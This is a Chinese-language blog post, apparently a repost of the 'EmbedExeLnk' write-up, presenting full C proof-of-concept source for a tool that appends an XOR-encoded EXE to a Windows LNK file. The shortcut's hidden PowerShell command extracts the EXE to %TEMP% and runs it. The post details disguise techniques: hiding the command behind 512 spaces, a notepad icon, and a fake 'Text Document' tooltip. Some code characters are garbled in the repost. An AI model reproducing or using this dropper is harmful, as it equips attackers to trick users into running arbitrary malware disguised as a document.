EmbedExeLnk - 在 LNK 中嵌入 EXE 并自动执行

2022-02-24 10:18:10 浏览数 (1)

我在野外看到了各种恶意 LNK 文件。这些链接文件通常执行下载外部有效负载的脚本(Powershell、VBScript 等)。

我为自己设定了一个挑战,即创建一个嵌入了 EXE 文件的 LNK 文件,而无需外部下载。

这是通过创建一个 LNK 文件并在末尾附加 EXE 文件来实现的。LNK 文件执行一些 Powershell 命令从 LNK 的末尾读取 EXE 的内容,将其复制到 %TEMP% 文件夹中的文件,然后执行。

我开发了一个从目标 EXE 文件创建 LNK 的程序。

此方法遇到了一些问题:

1.查找 LNK 文件的文件名。

在执行 Powershell 命令从 LNK 中提取 EXE 时,我们不知道已执行的 LNK 文件的文件名。我们可以硬编码文件名,但这不是一个可靠的解决方法。通过将 LNK 文件的总大小存储在 Powershell 命令中并检查当前目录中的所有 *.LNK 文件以找到具有匹配文件大小的文件来解决此问题。

2.查找EXE数据在LNK内的偏移量。

通过在 Powershell 命令中存储原始 LNK 文件的长度(不包括附加的 EXE 数据)来解决此问题。

3.查看LNK文件的“属性”时可以看到Powershell命令。

这是通过在目标字段前加上 512 个空格字符来解决的。这会溢出“属性”对话框中的文本字段并且只显示空格。

4.LNK 文件有一个可执行文件图标。

这已通过将图标位置(使用 HasIconLocation 标志)设置为“%windir%system32notepad.exe”来解决。

5.将鼠标悬停在 LNK 文件上会显示位置为“cmd”。

已通过将快捷方式描述(使用 HasName 标志)设置为“类型:文本文档n大小:5.23 KBn修改日期:01/02/2020 11:23”来解决此问题。

6.在十六进制编辑器中打开 LNK 文件时,EXE 文件清晰可见。

通过使用 XOR 对 EXE 文件数据的每个字节进行“加密”和“解密”,这一点得到了改进

完整的 LNK 目标如下所示:

代码语言:javascript复制
cmd /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq [TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i  ) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%tmp'   (Get-Random)   '.exe'; sc $path ([byte[]]($file^| select -Skip [LNK_FILE_SIZE_EXCLUDING_EXE])) -Encoding Byte; ^& $path;

完整的概念验证程序代码如下:

代码语言:javascript复制
#include <stdio.h>
#include <windows.h>

#define INVALID_SET_FILE_POINTER 0xFFFFFFFF

#define HasName 0x00000004
#define HasArguments 0x00000020
#define HasIconLocation 0x00000040
#define IsUnicode 0x00000080
#define HasExpString 0x00000200
#define PreferEnvironmentPath 0x02000000

struct ShellLinkHeaderStruct
{
	DWORD dwHeaderSize;
	CLSID LinkCLSID;
	DWORD dwLinkFlags;
	DWORD dwFileAttributes;
	FILETIME CreationTime;
	FILETIME AccessTime;
	FILETIME WriteTime;
	DWORD dwFileSize;
	DWORD dwIconIndex;
	DWORD dwShowCommand;
	WORD wHotKey;
	WORD wReserved1;
	DWORD dwReserved2;
	DWORD dwReserved3;
};

struct EnvironmentVariableDataBlockStruct
{
	DWORD dwBlockSize;
	DWORD dwBlockSignature;
	char szTargetAnsi[MAX_PATH];
	wchar_t wszTargetUnicode[MAX_PATH];
};

DWORD CreateLinkFile(char *pExePath, char *pOutputLinkPath, char *pLinkIconPath, char *pLinkDescription)
{
	HANDLE hLinkFile = NULL;
	HANDLE hExeFile = NULL;
	ShellLinkHeaderStruct ShellLinkHeader;
	EnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock;
	DWORD dwBytesWritten = 0;
	WORD wLinkDescriptionLength = 0;
	wchar_t wszLinkDescription[512];
	WORD wCommandLineArgumentsLength = 0;
	wchar_t wszCommandLineArguments[8192];
	WORD wIconLocationLength = 0;
	wchar_t wszIconLocation[512];
	BYTE bExeDataBuffer[1024];
	DWORD dwBytesRead = 0;
	DWORD dwEndOfLinkPosition = 0;
	DWORD dwCommandLineArgsStartPosition = 0;
	wchar_t *pCmdLinePtr = NULL;
	wchar_t wszOverwriteSkipBytesValue[16];
	wchar_t wszOverwriteSearchLnkFileSizeValue[16];
	BYTE bXorEncryptValue = 0;
	DWORD dwTotalFileSize = 0;

	// set xor encrypt value
	bXorEncryptValue = 0x77;

	// create link file
	hLinkFile = CreateFile(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hLinkFile == INVALID_HANDLE_VALUE)
	{
		printf("Failed to create output filen");
		return 1;
	}

	// initialise link header
	memset((void*)&ShellLinkHeader, 0, sizeof(ShellLinkHeader));
	ShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader);
	CLSIDFromString(L"{00021401-0000-0000-C000-000000000046}", &ShellLinkHeader.LinkCLSID);
	ShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | IsUnicode | HasName | HasIconLocation;
	ShellLinkHeader.dwFileAttributes = 0;
	ShellLinkHeader.CreationTime.dwHighDateTime = 0;
	ShellLinkHeader.CreationTime.dwLowDateTime = 0;
	ShellLinkHeader.AccessTime.dwHighDateTime = 0;
	ShellLinkHeader.AccessTime.dwLowDateTime = 0;
	ShellLinkHeader.WriteTime.dwHighDateTime = 0;
	ShellLinkHeader.WriteTime.dwLowDateTime = 0;
	ShellLinkHeader.dwFileSize = 0;
	ShellLinkHeader.dwIconIndex = 0;
	ShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE;
	ShellLinkHeader.wHotKey = 0;

	// write ShellLinkHeader
	if(WriteFile(hLinkFile, (void*)&ShellLinkHeader, sizeof(ShellLinkHeader), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// set link description
	memset(wszLinkDescription, 0, sizeof(wszLinkDescription));
	mbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) / sizeof(wchar_t)) - 1);
	wLinkDescriptionLength = (WORD)wcslen(wszLinkDescription);

	// write LinkDescriptionLength
	if(WriteFile(hLinkFile, (void*)&wLinkDescriptionLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// write LinkDescription
	if(WriteFile(hLinkFile, (void*)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// set target command-line
	memset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments));
	_snwprintf(wszCommandLineArguments, (sizeof(wszCommandLineArguments) / sizeof(wchar_t)) - 1, L"Q2S/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i  ) { $file[$i] = $file[$i] -bxor 0xX }; $path = '%%temp%%\tmp'   (Get-Random)   '.exe'; sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;", "", bXorEncryptValue);
	wCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments);

	// write CommandLineArgumentsLength
	if(WriteFile(hLinkFile, (void*)&wCommandLineArgumentsLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// store start of command-line arguments position
	dwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL);

	// write CommandLineArguments
	if(WriteFile(hLinkFile, (void*)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// set link icon path
	memset(wszIconLocation, 0, sizeof(wszIconLocation));
	mbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) / sizeof(wchar_t)) - 1);
	wIconLocationLength = (WORD)wcslen(wszIconLocation);

	// write IconLocationLength
	if(WriteFile(hLinkFile, (void*)&wIconLocationLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// write IconLocation
	if(WriteFile(hLinkFile, (void*)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// initialise environment variable data block
	memset((void*)&EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock));
	EnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock);
	EnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001;
	strncpy(EnvironmentVariableDataBlock.szTargetAnsi, "%windir%\system32\cmd.exe", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1);
	mbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) / sizeof(wchar_t)) - 1);

	// write EnvironmentVariableDataBlock
	if(WriteFile(hLinkFile, (void*)&EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// store end of link data position
	dwEndOfLinkPosition = GetFileSize(hLinkFile, NULL);

	// open target exe file
	hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hExeFile == INVALID_HANDLE_VALUE)
	{
		printf("Failed to open exe filen");

		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// append exe file to the end of the lnk file
	for(;;)
	{
		// read data from exe file
		if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
		{
			// error
			CloseHandle(hExeFile);
			CloseHandle(hLinkFile);

			return 1;
		}

		// check for end of file
		if(dwBytesRead == 0)
		{
			break;
		}

		// "encrypt" the exe file data
		for(DWORD i = 0; i < dwBytesRead; i  )
		{
			bExeDataBuffer[i] ^= bXorEncryptValue;
		}

		// write data to lnk file
		if(WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
		{
			// error
			CloseHandle(hExeFile);
			CloseHandle(hLinkFile);

			return 1;
		}
	}

	// close exe file handle
	CloseHandle(hExeFile);

	// store total file size
	dwTotalFileSize = GetFileSize(hLinkFile, NULL);

	// find the offset value of the number of bytes to skip in the command-line arguments
	pCmdLinePtr = wcsstr(wszCommandLineArguments, L"select -Skip 000000)");
	if(pCmdLinePtr == NULL)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}
	pCmdLinePtr  = strlen("select -Skip ");

	// move the file pointer back to the "000000" value in the command-line arguments
	if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition   (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// overwrite link file size
	memset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue));
	_snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) / sizeof(wchar_t)) - 1, L"u", dwEndOfLinkPosition);
	if(WriteFile(hLinkFile, (void*)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// find the offset value of the total lnk file length in the command-line arguments
	pCmdLinePtr = wcsstr(wszCommandLineArguments, L"_.length -eq 0x00000000}");
	if(pCmdLinePtr == NULL)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}
	pCmdLinePtr  = strlen("_.length -eq ");

	// move the file pointer back to the "0x00000000" value in the command-line arguments
	if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition   (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// overwrite link file size
	memset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue));
	_snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) / sizeof(wchar_t)) - 1, L"0xX", dwTotalFileSize);
	if(WriteFile(hLinkFile, (void*)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
	{
		// error
		CloseHandle(hLinkFile);

		return 1;
	}

	// close output file handle
	CloseHandle(hLinkFile);

	return 0;
}

int main(int argc, char *argv[])
{
	char *pExePath = NULL;
	char *pOutputLinkPath = NULL;

	printf("EmbedExeLnk - www.x86matthew.comnn");

	if(argc != 3)
	{
		printf("Usage: %s [exe_path] [output_lnk_path]nn", argv[0]);

		return 1;
	}

	// get params
	pExePath = argv[1];
	pOutputLinkPath = argv[2];

	// create a link file containing the target exe
	if(CreateLinkFile(pExePath, pOutputLinkPath, "%windir%\system32\notepad.exe", "Type: Text DocumentnSize: 5.23 KBnDate modified: 01/02/2020 11:23") != 0)
	{
		printf("Errorn");

		return 1;
	}

	printf("Finishedn");

	return 0;
}

(这将执行我在程序集中编写的一个小程序,它调用 MessageBoxA)

0 人点赞